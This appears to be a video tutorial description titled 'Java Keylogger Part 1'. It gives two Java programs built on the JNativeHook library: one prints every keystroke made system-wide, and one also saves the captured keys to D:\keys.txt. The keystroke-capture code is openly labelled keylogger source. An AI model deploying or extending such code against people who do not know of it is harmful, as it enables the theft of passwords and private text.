Java Keylogger Part 1 смотреть онлайн

After processing video every time it got shaky :(
Download Jnativehook library from here - https://github.com/kwhat/jnativehook/releases

Code 1 - This is simple code it will just show you every key pressed and when you press ecape it will exit
*****************************************************************************************************************
import java.io.File;
import java.io.FileWriter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;

/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
public void nativeKeyPressed(NativeKeyEvent e){
System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));


/* Terminate program when one press ESCAPE */

if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
try{
GlobalScreen.unregisterNativeHook();
}catch(Exception ef){}
}
}

/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
//System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
}

/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
// System.out.println("Key Typed: " + e.getKeyText(e.getKeyCode()));




}

public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
/* Its error */
//System.err.println("There was a problem registering the native hook.");
//System.err.println(ex.getMessage());
System.exit(1);
}

/* Construct the example object and initialze native hook. */
GlobalScreen.addNativeKeyListener(new Keylogger());
}
}


Code 1 ends



Code 2 - This code consists of saving key pressed to a file and then exit when escape is pressed
*****************************************************************************************************************

import java.io.File;
import java.io.FileWriter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;

/**
* @author javaQuery
* Global Keyboard Listener
*/
public class Keylogger implements NativeKeyListener {
/* Key Pressed */
String s;
public void nativeKeyPressed(NativeKeyEvent e){
System.out.println("Key Pressed: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
s=s+NativeKeyEvent.getKeyText(e.getKeyCode());

/* Terminate program when one press ESCAPE */

if (e.getKeyCode() == NativeKeyEvent.VC_ESCAPE) {
try{
File f = new File("D:\\keys.txt");
FileWriter fw=new FileWriter(f);
fw.write(s);
fw.close();

GlobalScreen.unregisterNativeHook();
}catch(Exception ef){}
}
}

/* Key Released */
public void nativeKeyReleased(NativeKeyEvent e) {
//System.out.println("Key Released: " + NativeKeyEvent.getKeyText(e.getKeyCode()));
}

/* I can't find any output from this call */
public void nativeKeyTyped(NativeKeyEvent e) {
// System.out.println("Key Typed: " + e.getKeyText(e.getKeyCode()));




}

public static void main(String[] args) throws Exception{
try {
/* Register jNativeHook */
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
/* Its error */
//System.err.println("There was a problem registering the native hook.");
//System.err.println(ex.getMessage());
System.exit(1);
}

/* Construct the example object and initialze native hook. */
GlobalScreen.addNativeKeyListener(new Keylogger());
}
}


Code 2 ends


The problem with the code is it will not simply record special characters like !@#$%^&*( etc, For recording special characters use shift key and then get keycode so when shift is pressed and number keys record them as !@#$%^&*() by creating a switch statement. Do not worry I will make another video for this purpose only. Enjoy :)